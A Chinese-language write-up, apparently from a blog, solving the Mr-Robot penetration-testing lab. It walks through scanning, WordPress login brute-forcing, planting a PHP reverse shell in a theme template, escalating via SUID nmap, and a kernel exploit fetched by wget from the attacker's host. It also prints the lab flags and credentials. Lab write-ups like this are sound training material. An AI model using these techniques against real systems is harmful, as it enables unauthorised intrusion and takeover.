当前位置: 首页 > java >正文

OSCP备战-mr-robot靶机详细解法

一、靶机描述

 

难度等级:中等

      操作系统类型:Linux

      用户::root, robot, daemon

      flag目录:在用户家目录中

实验目的

      获取三个flag.

 

二、信息搜集

 

打开虚拟机:

在打开的时候有显示failed to send command to start host

但是什么都没做,又可以了

 

开启kali机:

arp-scan -l

得到IP:192.168.155.183

端口扫描:

nmap -p- --min-rate 1000 192.168.155.183

nmap -p22,80,443 -sV -sS -A --min-rate 1000 -T4 192.168.155.183

没什么有用信息,入口好像也就80

 

三、Getshell

 

访问80端口显示终端页面:

输入prepare命令,播放了一段视频,给出:whoismrrobot.com

输入其他命令看看:fsociety

Are you ready to join fsociety?

命令:inform,一些新闻看法

命令:question 一些结论性语言

美国梦是一个神话

偷窃即是工作

……

命令:wakeup,视频

命令:join

进入又一个终端

输入了一个邮箱即返回

查看首页源码,没发现什么

进行目录扫描

dirsearch -u http://192.168.155.183 -e *

很多重定向

访问/0,得到页面

搜索页面即进入之前的终端,此时出现参数,改变参数无变化,使用伪协议无变化

Wordpress

需要找到用户密码

再次扫描目录

这很糟糕了

回到80端口看看其他的

what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty?

I like where you head is at. However I'm not going to help you.

 User-agent: *
fsocity.dic
key-1-of-3.txt

访问key-1-of-3.txt获得第一个flag:
 073403c8a58a1f80d943455fb30724b9

访问fsocity.dic,得到一个超大字典

那么进行爆破?

下载字典:

​
wget http://192.168.155.183/fsocity.dic

查看一下,8万多条……

试试去重

sort fsocity.dic | uniq > dic.txt

去重后一万多条

重回wordpress登录页面

Bp抓包爆破

用户名错误是这样的

用户名存在密码错误是这样的

得到用户名ELLOIOT、Elliot、elliot

去爆破密码:

选择集群炸弹攻击,当然这样payload有点多,如果熟悉wordpress登录的代码,可以减轻一点负担。

找到了,可以看提示哈302跳转

密码都是ER28-0652

拿去登录一下

进入后台

找到一个外观-编辑的地方(当然你可以试试插件上传)

应该可以实现反弹shell

查找脚本:

find / -name php-reverse-shell.php

修改脚本:

将脚本复制到外观-edit,404.php页面

启动监听

上传文件,访问文件,提示没找到文件多刷新几遍

四·、旧版本Nmap提权

访问

cat  /etc/passwd
cd /home/robot

找到第二个flag,但是没有权限

读取另一个文件

robot:c3fcd3d76192e4007dfb496cca67e13b

MD5解密:

abcdefghijklmnopqrstuvwxyz

创建交互窗口:

python -c "import pty;pty.spawn('/bin/bash')"

获取第二个flag

但是发现权限还是很低

查找一下具有SUID位的文件:

find / -perm -u=s -type f 2>/dev/null

靶机里的nmap

查询一下:

提权成功:

找一下第三个flag:

 

题外话,试了一下内核提权:

查看内核

searchsploit ubuntu 14.04searchsploit -m 37088.cpython -m http.server 4443wget http://192.168.155.166/37088.c

Gcc编译后启动

失败了,排查了一些

遗憾的是Apport没有运行,后续没有进行了有兴趣的可以试试。

总体来说不难,常规思路解法

考点:了解wordpress/nmap

 

http://www.xdnf.cn/news/8696.html

相关文章:

  • conda 环境中opencv 报错
  • Maven Profile高级策略与冲突解决
  • 手眼标定:九点标定、十二点标定、OpenCV 手眼标定
  • Cursor最新问题不能使用Claude3.7问题的解决方案
  • [Linux]如何配置mailutils郵件服務?
  • 基于STM32的电容电阻测量仪Proteus仿真设计+程序设计+设计报告+讲解视频
  • MyBatis实战指南(三)MyBatis常用配置详解(XML配置,环境配置,类型别名,属性与映射器)
  • 【监控】Prometheus+Grafana 构建可视化监控
  • JVM 的垃圾回收器
  • 每日算法刷题计划Day15 5.25:leetcode不定长滑动窗口求子数组个数越短越合法3道题,用时1h
  • BUUCTF——RCE ME
  • 【数据结构】实现方式、应用场景与优缺点的系统总结
  • CAN通信收发测试(USB2CAN模块测试实验)
  • RocketMq的消息类型及代码案例
  • 复杂度讲解
  • [yolov11改进系列]使用轻量级骨干网络MobileNetV4替换backbone的python源码+训练源码+改进流程+改进原理
  • 如何进行CAN一致性测试
  • 解决:ERROR: No matching distribution found for matplotlib= =3.8.3
  • 算法学习笔记·数学·快速幂
  • M00282-P2并联混合动力电动汽车的电池充电持续能源管理系统
  • 楼宇自控成建筑领域关键技术,为实现建筑碳中和注入强劲技术动能
  • DELL EMC PowerStore BBU更换手册
  • 【踩坑记录】nvidia-smi 能识别 GPU,但 torch.cuda.is_available() 报错的终极解决方案
  • 【MPC控制 - 从ACC到自动驾驶】2 车辆纵向动力学建模与离散化:MPC的“数字蓝图”
  • 初学c语言20(动态内存管理)
  • 浅析SpringBoot中的classpath
  • C++——volatile
  • C#学习第25天:GUI编程
  • 视频剪辑 VEGAS - 配置视频片段保持原长宽比
  • 2025 中青杯数学建模AB题